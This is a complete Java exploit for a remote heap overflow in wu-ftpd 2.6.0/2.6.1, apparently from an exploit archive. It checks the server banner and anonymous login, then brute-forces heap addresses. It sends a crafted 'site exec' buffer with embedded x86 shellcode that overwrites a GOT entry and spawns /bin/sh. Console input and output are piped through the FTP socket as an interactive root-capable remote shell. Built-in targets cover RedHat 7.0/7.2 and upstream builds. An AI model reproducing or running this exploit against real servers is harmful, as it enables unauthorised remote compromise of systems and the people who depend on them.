Wu-ftpd 2.6.[0/1] remote heap overflow written in Java. Provides a remote shell. Includes targets for RedHat 7.0 and wu-2.6.0/1 from www.wu-ftpd.org.
57929d95896c2d40e1e0a264c95b5e575151758f19e071e54f3d2c1e88fd64df
/*
* wu-ftpd 2.6.[0/1] remote heap overflow exploit
* wu-ftpd 2.5.* does also overflow and disconnect when you "cwd ~{"
* but it does not seem to be exploitable for some reason...
*
* Original Code by zen-parse
* This code was finished by CraigTM at 23-01-2002
*
* thanks to Krissa from #java@efnet for this:
* <Krissa> From the Integer API docs: Integer.parseInt("-FF", 16) returns -255
*
* thanks to dvorak for inspiring me; it works() now ;)
*
* This works (nearly) like zen-parses code, but gives you a shell...
*
* I wanted to challenge myself and prove that remote exploits can be
* done with java...(hello pr0ix!)...I also had way too much time ;)
*
* java woot [IP] {heap}
*
* CraigTM [ElectronicSouls]
*
* P.S.: I know that the Reader/Write class sucks, but it was done within minutes ;)
* P.P.S.:Have fun with the new targets ;)
*
*/
import java.io.*;
import java.net.*;
import java.util.*;
class woot
{
//type, got, inpbuf, string to check for (autodetect)
static String targets[] =
{
"RH7.0 - 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", // by zen-parse
"08070cb0","08084600","2.6.1(1) WED AUG 9 05:54:50 EDT 2000",
"RH7.2 - wu-2.6.1-18 by kanix - verified by CraigTM", // doesnt seem to be
"08072af8","08085900","WU-2.6.1-18", // exploitable...
//"wu-2.6.1(2) by zen-parse", // zen-parse's common compile
//"0806ca48","0807e380","WU-2.6.1(2)", // seems useless in the wild
"wu-2.6.0(x) from www.wu-ftpd.org by CraigTM", //done by me
"0806bae4","0807d600","WU-2.6.0(",
"wu-2.6.1(x) from www.wu-ftpd.org by CraigTM", //done by me
"0806c028","0807db40","WU-2.6.1(",
null
};
//socket stuff
static DataInputStream sin;
static PrintStream sout;
static Socket s = null;
//shellcode
static char sc[]={0x55,0x89,0xe5,0x31,0xc0,0x31,0xdb,0x31,0xc9,0xb0,0x17,0xcd,0x80,0xb0,0x2e,0xcd,0x80,0xeb,0x43,0x5e,0xb0,0x27,0x8d,0x5e,0x09,0xb1,0xed,0xcd,0x80,0x31,0xc9,0x31,0xc0,0xb0,0x3d,0xcd,0x80,0xba,0x2e,0x2e,0x2f,0xff,0x8d,0x5d,0x04,0xb1,0x10,0x89,0x55,0x04,0x83,0xc5,0x03,0xe0,0xf8,0x89,0x4d,0x04,0xb0,0x3d,0xcd,0x80,0x89,0xf3,0x89,0x75,0x08,0x89,0x4d,0x0c,0xb0,0x0b,0x8d,0x4d,0x08,0x8d,0x55,0x0c,0xcd,0x80,0x31,0xc0,0xb0,0x01,0xcd,0x80,0xe8,0xb8,0xff,0xff,0xff};
static int sclength=91;
//guess what?
static String victim="";
//your shell
static Thread reader, writer;
//vars
static int m=0;
static long tmp_got;
static long tmp_heap;
static long tmp_inpbuf;
void connect(String Server)
{
try
{
s = new Socket(Server, 21);
sin = new DataInputStream (s.getInputStream());
sout = new PrintStream (s.getOutputStream());
}//try
catch (IOException e){System.out.println("Error Connecting:"+e);System.exit(-1);}
}//connect()
boolean allowsAnonymous()
{
String line=null;
try
{
connect(victim);
System.out.print(".");
boolean Ano=false;
if(s!=null)sout.println("USER anonymous");
System.out.print(".");
while(true)
{
if(s==null)break;
line=sin.readLine();
if(line==null)break;
if(line.indexOf("220")<=-1)
break;
line=line.toUpperCase();
for(int i=0;targets[i]!=null;i++)
{
if(line.indexOf(targets[i])>-1)
{
m=(i/4)+1;
break;
}
}
System.out.print(".");
if(s!=null)
{
sout.println("PASS billg@microsoft.com");
sout.println("QUIT");
}
while(Ano==false)
{
line=sin.readLine();
if(s==null || line==null)break;
if(line.indexOf("331")>-1)
{
line=sin.readLine();
if(line==null || s==null)break;
}
if(line.indexOf("230")>-1)
return true;
if(line.indexOf("530")>-1 || line.indexOf("531")>-1)
return false;
}//while (Ano==false)
}//while(true)
//close socket again
if(s!=null)
{
try
{
s.close();s=null;sin=null;sout=null;
}
catch(IOException e){}
}
}//try
catch (IOException e){}
return false;
}//Anonymous check + get server
void shell()
{
reader.setPriority(6);
writer.setPriority(5);
reader.start();
writer.start();
Thread t = Thread.currentThread();
try {t.sleep(1000);} catch (InterruptedException e) {}
woot.sout.println("uname -a;id;");
}
void dosend(String s)
{
for(int i=0;i<s.length();i++)
{
if(s.charAt(i)==0xff)
sout.print(s.charAt(i));
sout.print(s.charAt(i));
}
}
void getTarget()
{
try
{
System.out.print("@@ Server>");
DataInputStream in = new DataInputStream (System.in);
victim=in.readLine();
}
catch (IOException e){}
}//getTarget()
boolean works(long n)
{
String v0=Long.toHexString(n);
String elements[]=new String[5];
elements[0]=v0.substring(0,2);
elements[1]=v0.substring(2,4);
elements[2]=v0.substring(4,6);
elements[3]=v0.substring(6,8);
for(int i=0;elements[i]!=null;i++)
{
if(elements[i].equals("00"))return false; //0x00 -> null byte
if(elements[i].equals("0a"))return false; //0x0a -> \n
if(elements[i].equals("40"))return false; //0x40 -> @
}
return true;
}
boolean force()
{
char ok;
long l;
long got,inp;
long en=0+(256*1024);
long st=2048;
System.out.println("++ Option #"+m+" chosen.");
m=(m-1)*4;
System.out.println("++ Exploiting "+targets[m]+"\n");
long tmp = Long.parseLong(targets[m+2],16);
st= st + tmp + Long.parseLong("6400", 16);
en= en + tmp + Long.parseLong("6400", 16);
got=Long.parseLong(targets[m+1],16);
inp=Long.parseLong(targets[m+2],16);
tmp_got=got-12;
tmp_inpbuf=inp+20;
System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("brute forcing heap (from "+Long.toHexString(st)+" to "+Long.toHexString(en)+"):");
for(l=st;l<en;l+=360)
{
for(m=0;(m!=16&&m<32);m+=4)
{
if(works(m+l+st))
{
System.out.print(".");
tmp_heap=l+m;
if(exploit("scan"))
{
System.out.println("\nheap:\t"+Long.toHexString(tmp_heap)+"\n");
System.out.println("\nTrying to get shell...");
return true;
}
}
else // if(!works(m+l+st))
System.out.print("*");
}//for
}//for
return false;
}//force()
boolean exploit(String mode)
{
StringBuffer buf=new StringBuffer();
StringBuffer buf2=new StringBuffer("");
String got[] = new String[5];
String heap[] = new String[5];
String inpbuf[]=new String[5];
String hexgot = Long.toHexString(tmp_got);
String hexheap = Long.toHexString(tmp_heap);
String hexinpbuf = Long.toHexString(tmp_inpbuf);
//////////////////// PUT THE GOT ADDRESS ///////////////////////////
if(hexgot.length()==7)
{
got[0] = "0"+hexgot.substring(0,1);
got[1] = hexgot.substring(1,3);
got[2] = hexgot.substring(3,5);
got[3] = hexgot.substring(5,7);
}
if(hexgot.length()==8)
{
got[0] = hexgot.substring(0,2);
got[1] = hexgot.substring(2,4);
got[2] = hexgot.substring(4,6);
got[3] = hexgot.substring(6,8);
}
//////////////////// PUT THE HEAP ADDRESS ///////////////////////////
if(hexheap.length()==7)
{
heap[0] = "0"+hexheap.substring(0,1);
heap[1] = hexheap.substring(1,3);
heap[2] = hexheap.substring(3,5);
heap[3] = hexheap.substring(5,7);
}
if(hexheap.length()==8)
{
heap[0] = hexheap.substring(0,2);
heap[1] = hexheap.substring(2,4);
heap[2] = hexheap.substring(4,6);
heap[3] = hexheap.substring(6,8);
}
//////////////////// PUT THE INPBUF ///////////////////////////
if(hexinpbuf.length()==7)
{
inpbuf[0] = "0"+hexinpbuf.substring(0,1);
inpbuf[1] = hexinpbuf.substring(1,3);
inpbuf[2] = hexinpbuf.substring(3,5);
inpbuf[3] = hexinpbuf.substring(5,7);
}
if(hexinpbuf.length()==8)
{
inpbuf[0] = hexinpbuf.substring(0,2);
inpbuf[1] = hexinpbuf.substring(2,4);
inpbuf[2] = hexinpbuf.substring(4,6);
inpbuf[3] = hexinpbuf.substring(6,8);
}
//fill buffer with nops
for(int i=0;i!=480;i++)
buf2.append((char)0x90);
// fill the buffer with chunks. overwrites the syslog call pointer with
// address of our shellcode.
for(int l=0;l<460;l+=16)
{
buf2.setCharAt(l+0,(char)Integer.parseInt("F0", 16));
buf2.setCharAt(l+1,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+2,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+3,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+4,(char)Integer.parseInt("F0", 16));
buf2.setCharAt(l+5,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+6,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+7,(char)Integer.parseInt("FF", 16));
buf2.setCharAt(l+8,(char)Integer.parseInt(got[3], 16));
buf2.setCharAt(l+9,(char)Integer.parseInt(got[2], 16));
buf2.setCharAt(l+10,(char)Integer.parseInt(got[1], 16));
buf2.setCharAt(l+11,(char)Integer.parseInt(got[0], 16));
buf2.setCharAt(l+12,(char)Integer.parseInt(inpbuf[3], 16));
buf2.setCharAt(l+13,(char)Integer.parseInt(inpbuf[2], 16));
buf2.setCharAt(l+14,(char)Integer.parseInt(inpbuf[1], 16));
buf2.setCharAt(l+15,(char)Integer.parseInt(inpbuf[0], 16));
}
buf.append("user ftp\npass http://mp3.com/cosv ");
buf.append((char)Integer.parseInt(heap[3], 16)+""+(char)Integer.parseInt(heap[2], 16)+""+(char)Integer.parseInt(heap[1], 16)+""+(char)Integer.parseInt(heap[0], 16));
buf.append("\n");
connect(victim);
dosend(buf.toString());
StringBuffer snd=new StringBuffer("site exec "+buf2+" AAAA\n");
dosend(snd.toString());
buf2=new StringBuffer("");
//fill buffer with nops
for(int i=0;i!=480-sclength-1;i++)
buf2.append((char)0x90);
//add chunks \0xeb\0x18
for(int l=2;l<(440-sclength);l+=6)
{
buf2.setCharAt(l,(char)0xeb);
buf2.setCharAt(l+1,(char)0x18);
}
//add shellcode
buf2.append(sc);
if(mode.equals("real"))buf2.append("/bin/////sh");
else buf2.append("/sbin/route");
snd=new StringBuffer("");
snd.append(" "+buf2);
dosend(snd.toString());
char c=0x00;
sout.print(c+"\n");
dosend("stat ~{\n");
dosend("quit\n");
if(s!=null)
{
if(!mode.equals("real"))
{
String temp;
try
{
while((temp=sin.readLine())!=null)
{
if(temp.indexOf("Destination")>-1)
return true;
}
}
catch(IOException e){}
}
}//if(s!=null)
if(s!=null && !mode.equals("real"))
{
try
{
s.close();s=null;sin=null;sout=null;
}
catch(IOException e){}
}
return false;
}//exploit
public static void main(String args[])
{
woot wu=new woot();
boolean brute=true;
reader = new Reader(wu);
writer = new Writer(wu);
try
{
if(args[0]!=null)
victim=args[0];
}
catch(ArrayIndexOutOfBoundsException a){}
System.out.println("\n!! wu-ftpd 2.6.[0/1] remote heap overflow exploit");
System.out.println("!! original exploit code by zen-parse");
System.out.println("!! ported and modified by CraigTM [ElectronicSouls]");
if(victim.equals(""))
wu.getTarget();
System.out.print("\n## Checking server version & anonymous access");
if(!wu.allowsAnonymous())
{
System.out.println("failed: anonymous access denied!");
System.exit(-1);
}
else
System.out.println("ok");
if(m==0)
{
System.out.println("failed: this version is not exploitable!");
System.exit(-1);
}
try
{
if(args[1]!=null)
{
tmp_heap=Long.parseLong(args[1],16);
System.out.println("++ Option #"+m+" chosen.");
m=(m-1)*4;
System.out.println("++ Exploiting "+targets[m]+"\n");
tmp_got=Long.parseLong(targets[m+1],16)-12;
tmp_inpbuf=Long.parseLong(targets[m+2],16)+20;
System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("heap:\t"+Long.toHexString(tmp_heap)+"\n");
System.out.println("\nTrying to get shell...\n");
wu.exploit("real");
wu.shell();
brute=false;
}
}
catch(ArrayIndexOutOfBoundsException a){}
if(brute)
{
if(wu.force())
{
wu.exploit("real");
wu.shell();
}
else
System.out.println("\nSome value somewhere is bad. Could be in a skipped range.");
}//brute force the heap
System.out.println();
}//main()
}//class
///////////////////////////////////////////////////////////////////////////////
//////////////////////////////SOCKET/READER////////////////////////////////////
class Reader extends Thread
{
woot W;
public Reader(woot w)
{
super("shell Reader");
this.W = w;
}
public void run()
{
try
{
String tmp;
while(true)
{
tmp=woot.sin.readLine();
if(tmp==null)
System.exit(1);
System.out.println(tmp);
}
}
catch (IOException e){}
}
}//class Reader
//////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////SOCKET/WRITER////////////////////////////////////////
class Writer extends Thread
{
woot W;
public Writer(woot w)
{
super("shell Writer");
this.W = w;
}
public void run()
{
try
{
DataInputStream in = new DataInputStream (System.in);
String tmp;
while(true)
{
tmp=in.readLine();
woot.sout.println(tmp);
}
}
catch (IOException e){}
}
}//class Writer